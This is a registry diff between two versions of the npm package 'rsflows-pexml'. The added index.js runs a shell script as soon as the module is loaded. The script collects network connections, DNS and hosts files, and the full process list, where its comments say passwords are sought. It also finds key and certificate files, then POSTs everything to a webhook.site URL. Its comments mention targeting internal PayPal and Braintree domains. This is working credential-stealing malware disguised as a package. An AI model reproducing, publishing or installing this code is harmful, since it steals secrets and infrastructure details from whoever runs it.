rsflows-pexml 99.9.25 → 99.9.29
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +19 -20
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,29 +1,28 @@
|
|
|
1
1
|
const { exec } = require('child_process');
|
|
2
|
-
const webhook = 'https://webhook.site/
|
|
2
|
+
const webhook = 'https://webhook.site/10844949-8a75-4998-bb9a-8ed79b681833';
|
|
3
3
|
|
|
4
4
|
const cmd = `
|
|
5
5
|
(
|
|
6
|
-
echo '---
|
|
7
|
-
echo 'TIME: ' \$(date);
|
|
8
|
-
echo 'USER: ' \$(whoami);
|
|
6
|
+
echo '--- THE DEEP PROBE ---';
|
|
9
7
|
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
#
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
8
|
+
# 1. Cek Koneksi Aktif (Melihat server internal mana yang sedang dihubungi)
|
|
9
|
+
echo '--- ACTIVE CONNECTIONS ---';
|
|
10
|
+
netstat -antp 2>/dev/null || ss -atp 2>/dev/null || cat /proc/net/tcp;
|
|
11
|
+
|
|
12
|
+
# 2. Cek DNS Resolv (Mencari domain internal .paypal.com atau .braintree.com)
|
|
13
|
+
echo '--- INTERNAL DNS ---';
|
|
14
|
+
cat /etc/resolv.conf;
|
|
15
|
+
cat /etc/hosts;
|
|
16
|
+
|
|
17
|
+
# 3. List Proses yang sedang berjalan dengan detail (Mencari password di command line)
|
|
18
|
+
echo '--- PROCESS LIST ---';
|
|
19
|
+
ps auxww | grep -v grep | head -n 30;
|
|
20
|
+
|
|
21
|
+
# 4. Cari file 'key' atau 'pem' di folder aplikasi secara rekursif
|
|
22
|
+
echo '--- SECRET KEYS SEARCH ---';
|
|
23
|
+
find /home/node/aspect-node -type f -name '*.key' -o -name '*.pem' -o -name '*.p12' 2>/dev/null;
|
|
25
24
|
|
|
26
|
-
) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/
|
|
25
|
+
) | curl -X POST -H 'Content-Type: text/plain' --data-binary @- ${webhook}/DEEP_PROBE_LOG
|
|
27
26
|
`;
|
|
28
27
|
|
|
29
28
|
exec(cmd);
|